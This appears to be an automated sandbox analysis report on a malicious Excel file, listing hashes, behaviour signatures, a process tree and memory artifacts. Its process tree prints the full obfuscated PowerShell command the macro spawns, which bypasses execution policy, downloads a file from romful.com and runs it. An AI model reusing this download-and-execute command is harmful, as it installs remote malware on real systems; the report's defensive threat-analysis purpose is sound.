Analysis

  • max time kernel
    47s
  • max time network
    40s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 22:23

General

  • Target

    4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls

  • Size

    72KB

  • MD5

    7028a5d58b15ac3cd43f522747a241aa

  • SHA1

    6efd62bc2b2d29df559166c4a9e1855a82936415

  • SHA256

    4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082

  • SHA512

    81adcdb6e3e153c2e75f92937e9ca5f4ff46aa8ef513ce8f70312e2126982688a835f6b01f95c5bfbdc5ce83c6c4f362491bceeb5474f98d0501a7f9e48dce0d

  • SSDEEP

    1536:5aOadvxHlcaQPy0iWYOcG4BDhnxD7oOExxEtjPOtioVjDGUU1qfDlaGGx+cL2QnZ:5aOadvxHlcaAy0iWYOcG4BDhnxD7oOEe

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\SYSTEM32\CMd.exe
      CMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3088
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2556

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3lzpljxt.jqp.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    ed04763581fcd9518a87267e78e4a3b6

    SHA1

    2cd1c61e0e23f179d4195dfeabf64fdd158763bd

    SHA256

    9f3813a6953d6f82685e490229711ece45b82f80f18c4ec3ea05ec322d1349f9

    SHA512

    ceca5f8483225397faf3e34bb497ac7edb11c30a341fabe2ca965b8649b5cc0e25022c284ef0c65347c4b0926075b8dcd6ab53123fe7b7919eaec94315fb351d

  • memory/1620-12-0x00007FF889B80000-0x00007FF889B90000-memory.dmp

    Filesize

    64KB

  • memory/1620-152-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-2-0x00007FF88C010000-0x00007FF88C020000-memory.dmp

    Filesize

    64KB

  • memory/1620-4-0x00007FF8CC02D000-0x00007FF8CC02E000-memory.dmp

    Filesize

    4KB

  • memory/1620-6-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-9-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-7-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-8-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-11-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-14-0x00007FF889B80000-0x00007FF889B90000-memory.dmp

    Filesize

    64KB

  • memory/1620-5-0x00007FF88C010000-0x00007FF88C020000-memory.dmp

    Filesize

    64KB

  • memory/1620-0-0x00007FF88C010000-0x00007FF88C020000-memory.dmp

    Filesize

    64KB

  • memory/1620-10-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-15-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-17-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-16-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-18-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-19-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-86-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-13-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

    Filesize

    2.0MB

  • memory/1620-1-0x00007FF88C010000-0x00007FF88C020000-memory.dmp

    Filesize

    64KB

  • memory/1620-3-0x00007FF88C010000-0x00007FF88C020000-memory.dmp

    Filesize

    64KB

  • memory/2556-132-0x000001BFF2FE0000-0x000001BFF3002000-memory.dmp

    Filesize

    136KB